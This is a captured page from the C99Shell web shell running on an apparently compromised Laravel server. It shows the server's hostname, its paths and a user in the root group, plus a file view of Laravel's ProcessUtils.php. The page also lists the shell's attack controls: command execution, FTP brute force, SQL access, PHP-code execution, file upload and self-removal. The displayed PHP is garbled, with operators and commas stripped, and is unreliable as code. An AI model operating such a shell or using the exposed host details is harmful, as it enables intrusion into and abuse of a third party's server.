!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Support/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProcessUtils.php (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Support;

/**
 * ProcessUtils is a bunch of utility methods.
 *
 * This class was originally copied from Symfony 3.
 */
class ProcessUtils
{
    
/**
     * Escapes a string to be used as a shell argument.
     *
     * @param  string  $argument
     * @return string
     */
    
public static function escapeArgument($argument)
    {
        
// Fix for PHP bug #43784 escapeshellarg removes % from given string
        // Fix for PHP bug #49446 escapeshellarg doesn't work on Windows
        // @see https://bugs.php.net/bug.php?id=43784
        // @see https://bugs.php.net/bug.php?id=49446
        
if ('\\' === DIRECTORY_SEPARATOR) {
            if (
$argument === '') {
                return 
'""';
            }

            
$escapedArgument '';
            
$quote false;

            foreach (
preg_split('/(")/'$argument, -1PREG_SPLIT_NO_EMPTY PREG_SPLIT_DELIM_CAPTURE) as $part) {
                if (
$part === '"') {
                    
$escapedArgument .= '\\"';
                } elseif (
self::isSurroundedBy($part'%')) {
                    
// Avoid environment variable expansion
                    
$escapedArgument .= '^%"'.substr($part1, -1).'"^%';
                } else {
                    
// escape trailing backslash
                    
if (str_ends_with($part'\\')) {
                        
$part .= '\\';
                    }
                    
$quote true;
                    
$escapedArgument .= $part;
                }
            }

            if (
$quote) {
                
$escapedArgument '"'.$escapedArgument.'"';
            }

            return 
$escapedArgument;
        }

        return 
"'".str_replace("'""'\\''"$argument)."'";
    }

    
/**
     * Is the given string surrounded by the given character?
     *
     * @param  string  $arg
     * @param  string  $char
     * @return bool
     */
    
protected static function isSurroundedBy($arg$char)
    {
        return 
strlen($arg) > && $char === $arg[0] && $char === $arg[strlen($arg) - 1];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--